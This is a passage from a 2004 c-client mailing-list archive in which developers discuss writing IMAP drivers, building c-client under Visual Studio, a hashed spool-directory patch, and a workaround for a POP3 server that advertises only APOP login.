pinedev@shivax2.cac.washington.edu Sun Feb 1 11:33:57 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 11:33:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JXvhs020362 for ; Sun, 1 Feb 2004 11:33:57 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JXtGV028527 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 11:33:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11JVbrk011474; Sun, 1 Feb 2004 11:31:37 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JUeuL104226 for ; Sun, 1 Feb 2004 11:30:40 -0800 Received: from web61007.mail.yahoo.com (web61007.mail.yahoo.com [216.155.196.96]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11JUcFK019645 for ; Sun, 1 Feb 2004 11:30:39 -0800 Received: from [212.199.103.19] by web61007.mail.yahoo.com via HTTP; Sun, 01 Feb 2004 11:30:38 PST Message-Id: <20040201193038.10185.qmail@web61007.mail.yahoo.com> Date: Sun, 1 Feb 2004 11:30:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick Birren To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Newbie question - Integration with other email systems In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1442285427-1075663838=:9871" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1442285427-1075663838=:9871 Content-Type: text/plain; charset=us-ascii Cool. Any recommended reading material for writing c-client drivers? Thanks -Nick Mark Crispin wrote: On Sun, 1 Feb 2004, Nick Birren wrote: > I'm trying to figure out what's the best way to connect to a > proprietary-protocol email server and expose IMAP functionality. I do > not wish to import all emails into a flat-file and feed it into the IMAP > server, but rather integrate to it by implementing some pre-defined > interface that the IMAP server will use (and will, on the other end, act > as a client for the proprietary server). This certainly can be done, and relatively easily in UW (not "WU") IMAP. What you need to do is write a c-client driver that is a client for your proprietary-protocol email server. That way, imapd would be a client of your proprietary-protocol email server; just as imapd can be a client of a POP3, NNTP, or another IMAP server today. The tricky thing is deciding how to pass authentication credentials from the end user to your proprietary-protocol email server. There's code now to pass the same userid and password as was used to log in to the IMAP server, but perhaps you might want to do something better than that. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! --0-1442285427-1075663838=:9871 Content-Type: text/html; charset=us-ascii
    Cool. Any recommended reading material for writing c-client drivers?
     
    Thanks
    -Nick

    Mark Crispin <mrc@CAC.Washington.EDU> wrote:
    On Sun, 1 Feb 2004, Nick Birren wrote:
    > I'm trying to figure out what's the best way to connect to a
    > proprietary-protocol email server and expose IMAP functionality. I do
    > not wish to import all emails into a flat-file and feed it into the IMAP
    > server, but rather integrate to it by implementing some pre-defined
    > interface that the IMAP server will use (and will, on the other end, act
    > as a client for the proprietary server).

    This certainly can be done, and relatively easily in UW (not "WU") IMAP.
    What you need to do is write a c-client driver that is a client for your
    proprietary-protocol email server. That way, imapd would be a client of
    your proprietary-protocol email server; just as imapd can be a client of a
    POP3, NNTP, or another IMAP server today.

    The tricky thing is deciding how to pass authentication credentials from
    the end user to your proprietary-protocol email server. There's code now
    to pass the same userid and password as was used to log in to the IMAP
    server, but perhaps you might want to do something better than that.

    -- Mark --

    http://staff.washington.edu/mrc
    Science does not emerge from voting, party politics, or public debate.
    Si vis pacem, para bellum.

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free web site building tool. Try it! --0-1442285427-1075663838=:9871-- From pinedev@shivax2.cac.washington.edu Sun Feb 1 11:48:19 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 11:48:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JmJhs022055 for ; Sun, 1 Feb 2004 11:48:19 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JmHVN015842 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 11:48:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11JlKFh015420; Sun, 1 Feb 2004 11:47:20 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JkcuL118130 for ; Sun, 1 Feb 2004 11:46:38 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JkbJI029001 for ; Sun, 1 Feb 2004 11:46:37 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11Jka9h013654; Sun, 1 Feb 2004 11:46:36 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11JkaRt032049; Sun, 1 Feb 2004 11:46:36 -0800 Message-Id: Date: Sun, 1 Feb 2004 11:46:36 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Birren Cc: c-client@u.washington.edu Subject: Re: Newbie question - Integration with other email systems In-Reply-To: <20040201193038.10185.qmail@web61007.mail.yahoo.com> References: <20040201193038.10185.qmail@web61007.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 1 Feb 2004, Nick Birren wrote: > Cool. Any recommended reading material for writing c-client drivers? I would start with using the latest sources (imap-2004 RC6) instead of the release version (imap-2002e). Inside the imap-2004/docs/ directory there is a file called internal.txt which contains some information about c-client programming. Look towards the end under "Driver Interface". Note that this document was written in 1996 and so should be used as a guideline to understand rather than an authoritative reference. Also, look at how existing drivers work. I suggest looking at the NNTP, POP3, and IMAP drivers. Note how some methods are mandatory-to-implement while others are not; e.g. open is a mandatory method, but search is not. Sometimes, you have a choice of which method(s) to implement. For example, the IMAP driver implements the msgdata method but not header or text, whereas the other drivers implement header and text but not msgdata. This is because the IMAP server does message parts, whereas in other drivers c-client has to do it internally. There's a bit of a steep learning curve, which is why I recommend looking at how existing drivers work. The good news is that once you climb that curve it's a fairly straightforward task to do the job. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Feb 1 12:27:12 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 12:27:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KRChs025521 for ; Sun, 1 Feb 2004 12:27:12 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KR4GV031084 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 12:27:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11KQ1Fh008452; Sun, 1 Feb 2004 12:26:01 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KPFuL025702 for ; Sun, 1 Feb 2004 12:25:15 -0800 Received: from web61007.mail.yahoo.com (web61007.mail.yahoo.com [216.155.196.96]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11KPEFK031627 for ; Sun, 1 Feb 2004 12:25:14 -0800 Received: from [212.199.103.19] by web61007.mail.yahoo.com via HTTP; Sun, 01 Feb 2004 12:25:13 PST Message-Id: <20040201202513.17939.qmail@web61007.mail.yahoo.com> Date: Sun, 1 Feb 2004 12:25:13 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick Birren To: c-client@u.washington.edu Subject: Compiling IMAP under Visual Studio MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-795209780-1075667113=:17433" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-795209780-1075667113=:17433 Content-Type: text/plain; charset=us-ascii "A friend of mine" wants to know if anyone has a workspace for compiling IMAP under Visual Studio (either 6.0 or .Net). I believe creating it should be quite straightforward, but still, if someone has already done it, I'd appreciate getting the workspace. I mean - he'd appreciate it. -N --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! --0-795209780-1075667113=:17433 Content-Type: text/html; charset=us-ascii
    "A friend of mine" wants to know if anyone has a workspace for compiling IMAP under Visual Studio (either 6.0 or .Net).
    I believe creating it should be quite straightforward, but still, if someone has already done it, I'd appreciate getting the workspace.
    I mean - he'd appreciate it.
     
    -N

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free web site building tool. Try it! --0-795209780-1075667113=:17433-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 1 12:39:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 12:39:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KdUhs026578 for ; Sun, 1 Feb 2004 12:39:30 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KdSVN018515 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 12:39:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11KcOrk011318; Sun, 1 Feb 2004 12:38:25 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KbkuL021532 for ; Sun, 1 Feb 2004 12:37:46 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11KbjNu011130 for ; Sun, 1 Feb 2004 12:37:45 -0800 Received: by mail.bynari.net (Postfix, from userid 1001) id 173041E0195; Sun, 1 Feb 2004 14:37:45 -0600 (CST) Received: from caymans (adsl-68-94-54-219.dsl.rcsntx.swbell.net [68.94.54.219]) by mail.bynari.net (Postfix) with ESMTP id 700F01E00D9; Sun, 1 Feb 2004 14:37:43 -0600 (CST) Message-Id: <039c01c3e903$3e339f10$0501a8c0@caymans> Date: Sun, 1 Feb 2004 14:37:43 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Nick Birren" , Subject: Re: Compiling IMAP under Visual Studio References: <20040201202513.17939.qmail@web61007.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30 autolearn=ham version=2.61 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Compile c-client the normal way (nmake /f makefile.nt) to get the c-client directory created and all the files copied. Go to MSVC and create a project for c-client for static library and add the files in c-client (you can't add all of them, only the ones that c-client need, look in the makefile). That should be it. > ----- Original Message ----- > From: Nick Birren > To: c-client@u.washington.edu > Sent: Sunday, February 01, 2004 2:25 PM > Subject: Compiling IMAP under Visual Studio > > > "A friend of mine" wants to know if anyone has a workspace for compiling IMAP under Visual Studio (either 6.0 or .Net). > I believe creating it should be quite straightforward, but still, if someone has already > done it, I'd appreciate getting the workspace. > I mean - he'd appreciate it. > > -N > > > Do you Yahoo!? > Yahoo! SiteBuilder - Free web site building tool. Try it! From pinedev@shivax2.cac.washington.edu Sun Feb 1 15:01:03 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 15:01:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N12hs007280 for ; Sun, 1 Feb 2004 15:01:02 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N11VN026199 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 15:01:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11N09rk012918; Sun, 1 Feb 2004 15:00:09 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11MxKuL097416 for ; Sun, 1 Feb 2004 14:59:20 -0800 Received: from hazelnut.cc.columbia.edu (hazelnut.cc.columbia.edu [128.59.59.162]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11MxGNu010730 for ; Sun, 1 Feb 2004 14:59:17 -0800 Received: from hazelnut.cc.columbia.edu (localhost [127.0.0.1]) by hazelnut.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i11MxEmt022972; Sun, 1 Feb 2004 17:59:14 -0500 (EST) Received: (from selsky@localhost) by hazelnut.cc.columbia.edu (8.12.10/8.12.8/Submit) id i11MxDgp022970; Sun, 1 Feb 2004 17:59:13 -0500 (EST) Message-Id: <20040201225913.GC13674@columbia.edu> Date: Sun, 1 Feb 2004 17:59:13 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: [patch] hashed spool directories In-Reply-To: References: <20040106053300.GA22717@columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > My feeling about hashed spool directories is that this functionality is > site-specific, with no obvious single definition of how it is to be > implemented that applies in all instances. Consequently, I consider it to > be something that should always be of the form of a third-party patch > rather than an official part of c-client. I do encourage you to continue > distributing this patch since it's likely to be useful for some people Thank you for your feedback. Procmail has included support for hashed spool directories since 3.13, so I don't think the feature is that site specific. (see procmail/src/authenticate.c "#define MAILSPOOLHASH 0") > For what it's worth, I suggest the following alternative implementation of > your patch, which avoids needless rescans of the string: > > int i; > char *u,*s; > strcpy (tmp,MAILSPOOL); > for (i = 0, u = myusername (), s = tmp + strlen (tmp); > (*s++ = '/') && (i < spool_hash_depth) && u[i]; > *s++ = u[i++]); > strcpy (s,u); See my new patch against imap-2004rc6. Further comments are welcome. Cheers. From pinedev@shivax2.cac.washington.edu Sun Feb 1 15:02:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 15:02:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N2Nhs007360 for ; Sun, 1 Feb 2004 15:02:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N2LVN026259 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 15:02:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11N1WVb016106; Sun, 1 Feb 2004 15:01:32 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N14uL050070 for ; Sun, 1 Feb 2004 15:01:04 -0800 Received: from hazelnut.cc.columbia.edu (hazelnut.cc.columbia.edu [128.59.59.162]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11N12Nu011118 for ; Sun, 1 Feb 2004 15:01:03 -0800 Received: from hazelnut.cc.columbia.edu (localhost [127.0.0.1]) by hazelnut.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i11N11mt023095; Sun, 1 Feb 2004 18:01:01 -0500 (EST) Received: (from selsky@localhost) by hazelnut.cc.columbia.edu (8.12.10/8.12.8/Submit) id i11N10tT023091; Sun, 1 Feb 2004 18:01:00 -0500 (EST) Message-Id: <20040201230100.GD13674@columbia.edu> Date: Sun, 1 Feb 2004 18:01:00 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: [patch] hashed spool directories In-Reply-To: <20040201225913.GC13674@columbia.edu> References: <20040106053300.GA22717@columbia.edu> <20040201225913.GC13674@columbia.edu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="UlVJffcvxoiEqYs2" Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sorry, I forgot to include the attachment. Cheers. On Sun, Feb 01, 2004 at 05:59:13PM -0500, Matt Selsky wrote: > > My feeling about hashed spool directories is that this functionality is > > site-specific, with no obvious single definition of how it is to be > > implemented that applies in all instances. Consequently, I consider it to > > be something that should always be of the form of a third-party patch > > rather than an official part of c-client. I do encourage you to continue > > distributing this patch since it's likely to be useful for some people > > Thank you for your feedback. > > Procmail has included support for hashed spool directories since 3.13, > so I don't think the feature is that site specific. (see > procmail/src/authenticate.c "#define MAILSPOOLHASH 0") > > > For what it's worth, I suggest the following alternative implementation of > > your patch, which avoids needless rescans of the string: > > > > int i; > > char *u,*s; > > strcpy (tmp,MAILSPOOL); > > for (i = 0, u = myusername (), s = tmp + strlen (tmp); > > (*s++ = '/') && (i < spool_hash_depth) && u[i]; > > *s++ = u[i++]); > > strcpy (s,u); > > See my new patch against imap-2004rc6. Further comments are welcome. > > > Cheers. --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hash-spool.diff" --- imap-2004.RC6/src/osdep/unix/env_unix.c 2004/02/01 21:30:40 1.2 +++ imap-2004.RC6/src/osdep/unix/env_unix.c 2004/02/01 22:55:31 @@ -92,6 +92,8 @@ /* block notification */ static blocknotify_t mailblocknotify = mm_blocknotify; +static short spool_hash_depth = 0; /* 2 means spool is /var/mail/f/o/foo */ + /* Note: setting disableLockWarning means that you assert that the * so-modified copy of this software will NEVER be used: * 1) in conjunction with any software which expects .lock files @@ -818,7 +820,23 @@ { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ - sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); + int i; + char *u,*s, c; + static short endofstring = NIL; + + strcpy (tmp,MAILSPOOL); + for (i = 0, u = myusername (), s = tmp + strlen (tmp); + (*s++ = '/') && (i < spool_hash_depth); + i++) { + /* deal with usernames shorter than hash depth */ + if (u[i] && !endofstring) + c = u[i]; + else + endofstring = T; + *s++ = c; + } + strcpy (s,u); + sysInbox = cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; --UlVJffcvxoiEqYs2-- From pinedev@shivax2.cac.washington.edu Tue Feb 3 00:01:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 00:01:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1381hhs006620 for ; Tue, 3 Feb 2004 00:01:43 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1381fVN014350 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 00:01:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1380iVb014772; Tue, 3 Feb 2004 00:00:47 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i137x1uL119242 for ; Mon, 2 Feb 2004 23:59:01 -0800 Received: from typhoon.typhoon.co.jp (typhoon.typhoon.co.jp [202.33.21.39]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i137wxwR028560 for ; Mon, 2 Feb 2004 23:59:00 -0800 Received: from typhoon.typhoon.co.jp (localhost [127.0.0.1]) by typhoon.typhoon.co.jp (8.12.10/8.12.10/TIS) with ESMTP id i137wxhn063936 for ; Tue, 3 Feb 2004 16:58:59 +0900 (JST) Received: from localhost (nfung@localhost) by typhoon.typhoon.co.jp (8.12.10/8.12.10/Submit) with ESMTP id i137wxIG063933 for ; Tue, 3 Feb 2004 16:58:59 +0900 (JST) Message-Id: Date: Tue, 3 Feb 2004 16:58:59 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: c-client@u.washington.edu Subject: c-client -> broken pop servers MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! I would appreciate hints/pointers in regards to hacking c-client/pop3.c to make my c-client project work with a broken pop3 server. Though I'm RFC ignorant, since c-client (from imap-2002e) doesn't work with this particular pop server, I'm sure it's broken. I suspect, the problem is that upon seeing the "+OK " greetings from the pop3 server, c-client will issue a "CAPA" command. In response to that, the server would say: +OK capability list follows PIPELINING TOP UIDL APOP . Since the list didn't include "USER", c-client would stop and say "Can't login to this server." So, if I were to change pop3.c, and make it such that: diff -r1.1 pop3.c 408c408,411 < if (pop3_send (stream,"CAPA",NIL)) LOCAL->cap.capa = T; --- > if (pop3_send (stream,"CAPA",NIL)) { > LOCAL->cap.capa = T; > LOCAL->cap.user = T; > } to make sure LOCAL->cap.user is always true, what if any other things will this break? Many Thanks, N. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 3 01:38:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 01:38:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139c5hs015800 for ; Tue, 3 Feb 2004 01:38:05 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139c3VN019634 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 01:38:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i139avVb005042; Tue, 3 Feb 2004 01:37:00 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139a3uL007208 for ; Tue, 3 Feb 2004 01:36:03 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139a2ek011004 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 01:36:02 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139Zw9h027463; Tue, 3 Feb 2004 01:35:58 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139Zwta010132; Tue, 3 Feb 2004 01:35:58 -0800 Message-Id: Date: Tue, 3 Feb 2004 01:35:58 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ml Cc: c-client@u.washington.edu Subject: Re: c-client -> broken pop servers In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Feb 2004, ml wrote: > I suspect, the problem is that upon seeing the "+OK " > greetings from the pop3 server, c-client will issue a "CAPA" command. In > response to that, the server would say: > +OK capability list follows > PIPELINING > TOP > UIDL > APOP > . This server is saying that it does not support plaintext password USER/PASS authentication, but it does support APOP authentication. The c-client library does not support APOP, as APOP has been deprecated in favor of SASL based authentication. The SASL equivalent to APOP would be "AUTH CRAM-MD5". Are you certain that the server will accept a USER/PASS authentication? The CAPA response says that it will not. Your patch will work to force c-client to send USER/PASS even if the server says that it does not support it. This would be a bad thing if it turned out that the server didn't really support USER/PASS. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 3 01:52:39 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 01:52:39 -0800 (PST) Return-Path: 